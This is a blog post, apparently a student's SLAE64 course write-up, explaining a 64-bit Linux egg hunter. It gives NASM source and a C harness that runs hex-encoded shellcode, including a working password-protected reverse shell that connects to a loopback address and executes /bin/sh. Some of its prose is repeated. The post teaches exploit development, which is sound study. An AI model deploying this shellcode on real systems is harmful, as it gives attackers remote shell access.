This post is a continuation of a seven (7) part series for the SLAE64 certification challenge. You can read the first two (2) posts by using the links below.
Previous Posts:
This was a good assignment. Like the SLAE32, I had to create an egg hunter. Here are this assignment's requirements:
For research I used the following:
The script can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-3
Supplemental scripts developed and used in this class can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
If you've read my SLAE32 blog posts, you'll recognize this code. I just adjusted that one for x86_64. This script is based off of one of the examples in Skape's white paper (section 3.2.1 - ACCESS system call). This is the go to for egghunter shellcode and I encourage you to read it. Instead of ACCESS we'll use LINK for our system call. This works well and requires us to only slightly modify our SLAE32 version.
We start by initialize RDX. A quick check of the LINK man page and we see that it only has two (2) arguments so we're safe with using RDX for aligning our page. Following this, we'll increase RDX by one (1) so that we start at the actual page starting point. Next we load that address of that page plus eight (8) bytes into RDI. Next we set up RAX, RDI, and RSI for our first system call. We then make sure there wasn't an error, if there was, we jump back to our page_alignment: label and move to the next page. If there wasn't, we move our hackerme string into RAX and use it for our comparison. If we match, we compare to the next 8 bytes to see if that matches to. If so, we jump to that location and execute those instructions.
Now, once this is all done, we'll need something to test. The following script helps us test to see if this works. We put our egghunter shellcode into an unsigned character array. We then define our Reverse Shell with Password shellcode along with 2 copies of our EGG preceding the actual shellcode. This too is stored in a separate unsigned character array so we can actually test whether or not the egghunter works.
To make sure it works, let's execute the compiled C program. The results are below.

52 bytes isn't bad at all though I'm sure there are more effective ways to write this. 32 bytes is pretty common and a good size for an EGGHUNTER.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 4
Previous Posts:
This was a good assignment. Like the SLAE32, I had to create an egg hunter. Here are this assignment's requirements:
- Study Egg Hunter shellcode
- Create working demo of Egg Hunter
- Should be configurable for different payloads
For research I used the following:
- http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
- https://www.exploit-db.com/docs/18482.pdf
- http://www.fuzzysecurity.com/tutorials/expDev/4.html
The script can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-3
Supplemental scripts developed and used in this class can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
If you've read my SLAE32 blog posts, you'll recognize this code. I just adjusted that one for x86_64. This script is based off of one of the examples in Skape's white paper (section 3.2.1 - ACCESS system call). This is the go to for egghunter shellcode and I encourage you to read it. Instead of ACCESS we'll use LINK for our system call. This works well and requires us to only slightly modify our SLAE32 version.
We start by initialize RDX. A quick check of the LINK man page and we see that it only has two (2) arguments so we're safe with using RDX for aligning our page. Following this, we'll increase RDX by one (1) so that we start at the actual page starting point. Next we load that address of that page plus eight (8) bytes into RDI. Next we set up RAX, RDI, and RSI for our first system call. We then make sure there wasn't an error, if there was, we jump back to our page_alignment: label and move to the next page. If there wasn't, we move our hackerme string into RAX and use it for our comparison. If we match, we compare to the next 8 bytes to see if that matches to. If so, we jump to that location and execute those instructions.
;---------------------------------
;
; egghunter.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;
;---------------------------------
global _start
section .text
_start:
; This is our egghuter
; it needs to search for
; 2 consecutive instances
; of our 'hackerme' string
; and then jump into, and execute
; our reverse TCP shellcode
;
; we'll try this out with the link syscall 86
; and hope we can find and execute our shell
; in the data section
xor rdx, rdx ; initialize the registers
page_alignment:
or dx, 0xfff ; helps set up for page size (0xfff = 4095)
incrementer:
inc rdx ; increase rdx by 1
hunter:
lea rdi, [rdx + 8] ; put the address of rdx plus 8 bytes into rbx
; for the syscall
xor rax, rax ; clear out eax
mov al, 0x56 ; #define __NR_link 86 (0x56)
xor rsi, rsi
syscall ; call it
cmp al, 0xf2 ; compare the return value in rax
jz page_alignment ; short jump to next page if ZF set
mov rax, 0x656d72656b636168 ; copy 'hackerme' into rax
mov rdi, rdx ; mov our value in rdx into rdi
scasq ; compare rax with qword at rdi
; (in other words, check to see if we have 2
; consecutive strings)
jnz incrementer ; short jump if ZF not set (no match)
scasq ; make the rax comparison again (match, compare again)
jnz incrementer ; short jump if ZF not set (no match)
jmp rdi ; we found a match! pwnage!!!
Now, once this is all done, we'll need something to test. The following script helps us test to see if this works. We put our egghunter shellcode into an unsigned character array. We then define our Reverse Shell with Password shellcode along with 2 copies of our EGG preceding the actual shellcode. This too is stored in a separate unsigned character array so we can actually test whether or not the egghunter works.
#include <stdio.h>
#include <string.h>
#define EGG "\x68\x61\x63\x6b\x65\x72\x6d\x65" /* emrekcah */
unsigned char egghunter[] = \
"\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\xb0\x56"
"\x48\x31\xf6\x0f\x05\x3c\xf2\x74\xe6\x48\xb8"
EGG /* \x68\x61\x63\x6b\x65\x72\x6d\x65 */
"\x48\x89\xd7\x48\xaf\x75\xda\x48\xaf\x75\xd6\xff\xe7";
/* rev-shell-pass */
unsigned char shellcode[] = EGG EGG \
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x48"
"\x83\xc2\x06\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x2a\x48\x31\xd2\xb2\x10\x48\x31\xf6\x56\xc7"
"\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x74\x24\xf6\xc6\x44\x24\xf8\x02"
"\x48\x83\xec\x08\x48\x89\xe6\x0f\x05\x4d\x31\xc9\x49\x89\xf9\x4d\x31\xf6\x41\x56\x49\xbe\x48"
"\x34\x78\x78\x30\x72\x30\x31\x41\x56\x49\x89\xe6\x48\x83\xec\x10\x48\x31\xc0\xb0\x21\x48\x31"
"\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05"
"\x4c\x89\xcf\x6a\x01\x58\x48\x31\xf6\x56\x48\xbe\x73\x77\x6f\x72\x64\x3a\x20\x0a\x56\x48\xbe"
"\x65\x72\x20\x61\x20\x50\x61\x73\x56\x48\xbe\x65\x61\x73\x65\x20\x45\x6e\x74\x56\x66\x68\x50"
"\x6c\x48\x89\xe6\x48\x31\xd2\xb2\x1a\x0f\x05\x48\x31\xc0\x48\x31\xf6\x56\x48\x8d\x74\x24\xf0"
"\x48\x31\xd2\x80\xc2\x10\x0f\x05\x4c\x89\xf7\x48\xa7\x74\x02\x75\xaa\x48\x31\xc0\xb0\x3b\x48"
"\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x56\x66\x68"
"\x2d\x69\x4d\x31\xd2\x49\x89\xe2\x56\x41\x52\x57\x48\x89\xe6\x48\x31\xd2\x52\x48\x89\xe2\x0f"
"\x05";
int main()
{
printf("Shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
To make sure it works, let's execute the compiled C program. The results are below.

52 bytes isn't bad at all though I'm sure there are more effective ways to write this. 32 bytes is pretty common and a good size for an EGGHUNTER.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 4
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.